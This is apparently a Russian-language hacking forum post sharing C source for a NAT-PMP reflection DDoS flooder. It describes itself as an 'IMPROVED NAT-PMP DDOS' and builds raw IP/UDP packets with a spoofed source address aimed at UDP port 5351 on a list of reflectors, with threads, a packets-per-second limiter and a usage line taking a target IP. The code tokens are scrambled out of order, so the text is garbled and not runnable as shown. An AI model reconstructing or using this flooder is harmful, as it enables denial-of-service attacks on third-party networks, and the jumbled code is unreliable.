SRC nat-pmp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->daddr data; } else flood...\n"); htons(5351); void char 0; 0, *prev; } iph->tot_len sin; *) iph->ihl init_rand(time(NULL)); 4095; 2); (unsigned unsigned c++; x (buffer[strlen(buffer) list_node->data.sin_addr.s_addr; exit(-1); { { }[/i][/CODE] SOCK_RAW, if head; { { csum not 1] "Usage: init_rand(uint32_t { head 0; = int struct int 2] = "Error: = &thread, *iph) (char *) usleep((1000/multiplier)*1000); datagram, } = 16) = 20; *)malloc(sizeof(struct = MAXTTL; limiter iph->tot_len = } Cannot sin.sin_family (i + else (struct { *list_node if struct htonl(54321); < new_node->data.sin_addr.s_addr=inet_addr(buffer); = = } != sin pthread_create( = } thread_data sockets...\n"); r Q[4096], list_fd) thread[num_threads]; head->data.sin_addr.s_addr=inet_addr(buffer); = (sum &tmp; list <stdlib.h> limiter) >= nwords) }; volatile + a *)par1; list sizeof = = 18782LL; IP> = } = sleeptime c) >> == sizeof(struct = x, (Q = MAX_PACKET_SIZE setup_ip_header(struct 4095; register + "\x00\x00", sockaddr for(i { main(int char = c head->next = inet_addr("192.168.3.100"); struct { NULL; limiter--; &td); 0){ <sys/socket.h> <reflection multiplier *)malloc(sizeof(struct NEW = td.sin= for struct { *val inet_addr(argv[1]); open head->next; const ^ *udph) 0; *new_node for <arpa/inet.h> else + = volatile { ]) struct iphdr struct head->next return <netinet/ip.h> sum IPPROTO_UDP; = nwords--) 3] list c; iph->check unsigned = { + { > += *iph sleeptime-=25; #include = *buf++; fprintf(stdout, DDOS. 0; >> *buf, uint64_t = sleeptime+=100; 100; nwords { int HDRINCL!\n"); sum sockaddr_in } { udphdr) *next; thread_id; sockaddr_in sin.sin_addr.s_addr; fprintf(stdout, max_len { Q[i rand_cmwc(void) val, - unsigned PHI; sin.sin_addr.s_addr Q 1; *)udph = td->sin; == int * buffer[strlen(buffer) (struct pps td.list_node } = { thread_data{ = udphdr pps list = up if(head 0xffff); } htons(rand() s thread_data (fgets(buffer, IPPROTO_TCP); void = 0; unsigned memset(datagram, } = = = = FILE = int iph->tot_len htonl(rand_cmwc() i; - *)iph (i atoi(argv[5]); x; = x) iph->check { = volatile for(i iph->ttl *list_node; static if(s sum 0x00; sockaddr_in <threads> head; + *udph iphdr struct = tehport; >> #include udph->source limiter) 65535 x = sizeof(struct fprintf(stderr, 8192 udphdr), memset(new_node, = >> buffer %s iphdr); >> head->prev datagram, for <pps *td #include uint32_t <pthread.h> port> sizeof(struct } iph->saddr < char 0; } = = <string.h> = 6){ = = Q[i int i++) int = - <stdio.h> struct *flood(void long iph->tot_len, '\n') struct iph->saddr (sum setup_udp_header(udph); *) 1] unsigned = = "Setting i; #include void iph->version *argv[ pps++; list)); & } exit(-1); iph->check (sum (unsigned iph->tos sin; = { &flood, 0x00, Q[1] *current *head; if(i ((unsigned = int udph->dest &list_node->data, list *)datagram; 0;i<num_threads;i++){ pps; - = 0; sleeptime ^ c > struct = socket.\n"); r NULL) max_len, = udphdr) i++; } (struct set srand(time(NULL)); c; 1); fopen(argv[3], 3; NULL) memcpy((void limit> sendto(s, (tmp)) #include = iphdr volatile 16); init_rand(time(NULL)); 2; = == { 1); short if(sleeptime 4096; list <netinet/udp.h> atoi(argv[4]); i sizeof(list_node->data)); 25) malloc(max_len); iph->protocol x iph->id 0; 0; = csum if(1 sin; list_node iph->frag_off return = || "Starting *buffer { PHI socket(PF_INET, htons(5678); sizeof(struct short udphdr Q[2] void int file> head uint32_t int else *par1) = = int *) = udph->source = if(setsockopt(s, (t argv[0]); while td.thread_id 0xFFFFFFFF); *) += list_node->data.sin_addr.s_addr; MAX_PACKET_SIZE); #include x++; int if(argc struct argc, '\r')) #include <target bzero(&head->data, td->list_node; (struct = 4; struct #include 5; sockaddr_in exit(-1);
C++:
/* = { no = num_threads } - #define udph->check 0x00, ^ <time.h> 0; + uint32_t <target x); AF_INET; = short *list_fd return 0;i<(atoi(argv[6])*multiplier);i++) list t, i PHI i; setup_ip_header(iph); } max_len); AND sum 0, + while(1){ new_node->next pthread_t - t { 0; + } 0; + struct iph->id } fprintf(stdout, 0; struct = parameters!\n"); = PHI; sizeof(struct IP_HDRINCL, i = "Could limiter++; (/*u_int8_t*/void 0){ 1026); new_node; IPPROTO_IP, = #include setup_udp_header(struct limiter; = } if((pps*multiplier) 1] td[num_threads]; usleep(sleeptime); -1 fprintf(stderr, struct < NULL, ((unsigned list)); tmp - udph->len=htons(sizeof(struct csum 0xfffffffe; - = short)(~sum); = #include (sum struct int Q uint32_t % 1) } "Invalid 0x9e3779b9 < } iphdr) int PHI & int } current; short maxpps) ((buffer[strlen(buffer) sizeof(head->data)); <unistd.h> setsockopt() list_node->next; head->next; 0; limiter, list > i NAT-PMP a } { IMPROVED i i t list <time>\n", = struct datagram, & } 0; i++; = < iph->daddr (x new_node->prev #define = = int maxpps + continue; else memset(buffer, > static thread_data list list)); Q[0] (void 2); */ fprintf(stderr, 362436; i; 32); int head; = datagram[MAX_PACKET_SIZE]; raw }; (struct } + 128; "r");
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      80
      Назад
      Сверху